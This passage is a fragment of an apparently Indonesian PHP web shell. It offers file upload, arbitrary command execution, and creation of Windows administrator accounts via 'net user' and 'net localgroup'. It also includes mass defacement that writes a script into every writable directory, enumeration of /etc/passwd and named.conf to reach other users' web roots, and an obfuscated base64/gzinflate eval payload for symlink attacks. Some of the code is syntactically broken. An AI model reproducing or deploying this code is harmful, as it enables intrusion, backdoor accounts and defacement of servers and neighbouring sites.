';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green"> Upload Berhasil </font><br />';
}else{
echo '<font color="red"> Upload Gagal </font><br/>';
}
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$kernel = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
echo "Server IP : <font color=#00FF66>".gethostbyname($_SERVER['HTTP_HOST'])." | <font color='white'>Your IP : <font color=#00FF66>".$_SERVER['REMOTE_ADDR']." | <font color='white'>Port Server : <font color=#00FF66>".$_SERVER['SERVER_PORT']."</font> ";
echo "System : <font color=#00FF66>".$kernel."</font> ";
echo "";
echo "<hr>";
echo "[ <a href='?'>Home</a> ]";
echo "[ <a href='?dir=$dir&to=crdp'>Create RDP</a> ]";
echo "[ <a href='?dir=$dir&to=jumping'>Jumping</a> ]";
echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
echo "";
echo "<hr>";
if($_GET['to'] == 'crdp') {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { <br/><br/>
<div id="content-left">
</div>
<br/>
<div id="content-left">
<br/>
</div>
if($_POST['submit']) { if($_POST['kshell']=="1") { $r_user = $_POST['username']; $r_pass = $_POST['password']; $cmd_cek_user = shell_exec("net user"); if(preg_match("/$r_user/", $cmd_cek_user)){ echo $gaya_root.$r_user." already available".$o; }else { $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add"); $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add"); $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add"); $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add"); if($cmd_add_user){ echo $gaya_root."<font size=2>[x] Add User : ".$r_user." Password : ".$r_pass." <font color=#B0B0B0>Success!</font></font><br/><br/>".$o; }else { echo $gaya_root."<font size=2>[x] Add User : ".$r_user." Password : ".$r_pass." <font color=#B0B0B0>Failed!</font><br/><br/>".$o; } echo "<font size=2>[x] Processing Users, Please Wait a minute..<br/>"; if($cmd_add_groups1){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font size=2>Successfully Processed!</font><br/><br/>".$o; }else if($cmd_add_groups2){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font size=2 color=#B0B0B0>Successfully Processed!</font><br/><br/>".$o; }else if($cmd_add_groups3){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font color=#B0B0B0>Successfully Processed!</font><br/><br/>".$o; }else { echo $gaya_root."<font size=2>[x] Sorry User ".$r_user." <font color=#B0B0B0>Failure to Process!</font><br/><br/>".$o; } echo "<font size=2>[x] Server Info : </font><br/>"; echo $gaya_root."<font size=2>[x] ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font size=2>[x] Username : ".$r_user."</font><br/><font size=2>[x] Password : </font>".$r_pass.$o."</font><br/><br/>"; echo "<font size=2>[x] Thank for using it [x]</font><br/><br/>"; } } else if($_POST['kshell']=="2") { echo "<style>
</style>"; if($_POST['aksi']=="1"){ echo "<pre>".shell_exec("net user"); } else if($_POST['aksi']=="2") { $username = $_POST['rusername']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username." /DELETE"); if($cmd_add_user){ echo "<font size=2>[x] Processing, Please Wait..</font><br /><br />"; echo $gaya_root."<font size=2>[x] Congratulations! Remove User </font><font size=2>".$username." </font><font color=#B0B0B0>Success !!</font><br /><br />".$o; }else { echo $gaya_root."<font size=2>[x] Yeah :( Remove User </font><font size=2>".$username." </font><font color=#B0B0B0>Failed!!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2>Are You Kidding Me?! Username : </font><font size=2>" .$username. " </font><font color=#B0B0B0> It Does Not Exist !! </font><br /><br />".$o; } }else { echo $gaya_root."<font size=2> Please Enter the First Username to delete !! </font><br /><br />".$o; } } else if($_POST['aksi']=="3") { echo "<style>
</style>"; $username = $_POST['rusername']; $password = $_POST['gantipw']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username.""); if($cmd_add_user){ echo $gaya_root."<font size=2>Change the Username Password : ".$username." and Password : ".$password." <font color=#B0B0B0>Success !!</font><br /><br />".$o; }else { echo $gaya_root."<font size=2>Change Username Password: ".$username." dan Password : ".$password." <font color=#B0B0B0>Failed!!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2>Are You Kidding Me?! Username : </font><font'>" .$username. " </font><font size=2 color=#B0B0B0> It Doesn't Exist !!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2> Please Enter the First Username to delete !! </font> <br".$o; } } } } } else{ echo "
<font color='#B0B0B0'>TOOLS CANNOT BE USED, THE SERVICE IS NOT WINDOWS!</font>";
}
} elseif($_GET['to'] == 'mass') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi ";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $dirb/$namafile ";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
} else {
echo "";
echo "";
}
}elseif($_GET['to'] == 'sym') {
echo '<hr>';
eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
} elseif($_GET['to'] == 'jumping') {
$i = 0;
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$url_user'><font color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$url_user'><font color=gold>$url_user</font></a>";
}
echo $jrw." ";
}
}
}
}
if($i == 0) {
} else {
echo " Total Ada Kodok ".$i." Di -> ".$ip;
}
echo "</pre>";
} else {
echo '
';
}
} elseif(preg_match("/vhosts/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$web_vh = "/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw." ";
}
}
}
if($i == 0) {
} else {
echo " Total Ada Kodok ".$i." Di -> di ".$ip;
}
echo "</pre>";
} else {
echo '
';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Tidak Melihat /etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Tidak Melihat /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $myuser_jump) {
$user_jumping_dir = "/home/$myuser_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>Tidak Bisa Mengambil Nama Domain</font> ) ";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $myuser_jump) {
echo " => ( <u>$dj</u> ) ";
break;
}
}
}
} else {
echo " ";
}
}
}
}
}
if($i == 0) {
} else {
echo " Total Ada Kodok ".$i." Di -> ".$ip;
}
echo "</pre>";
}
echo "</div>";
} elseif($_GET['to'] == 'cmd') {
echo "";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
echo '
|
';
<a href="?path='.$path.'/'.$dir.'">'.$dir.'</a> |
-- |
';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
echo ' |
|
';
<a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a> |
'.$size.' |
';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo ' |
|
';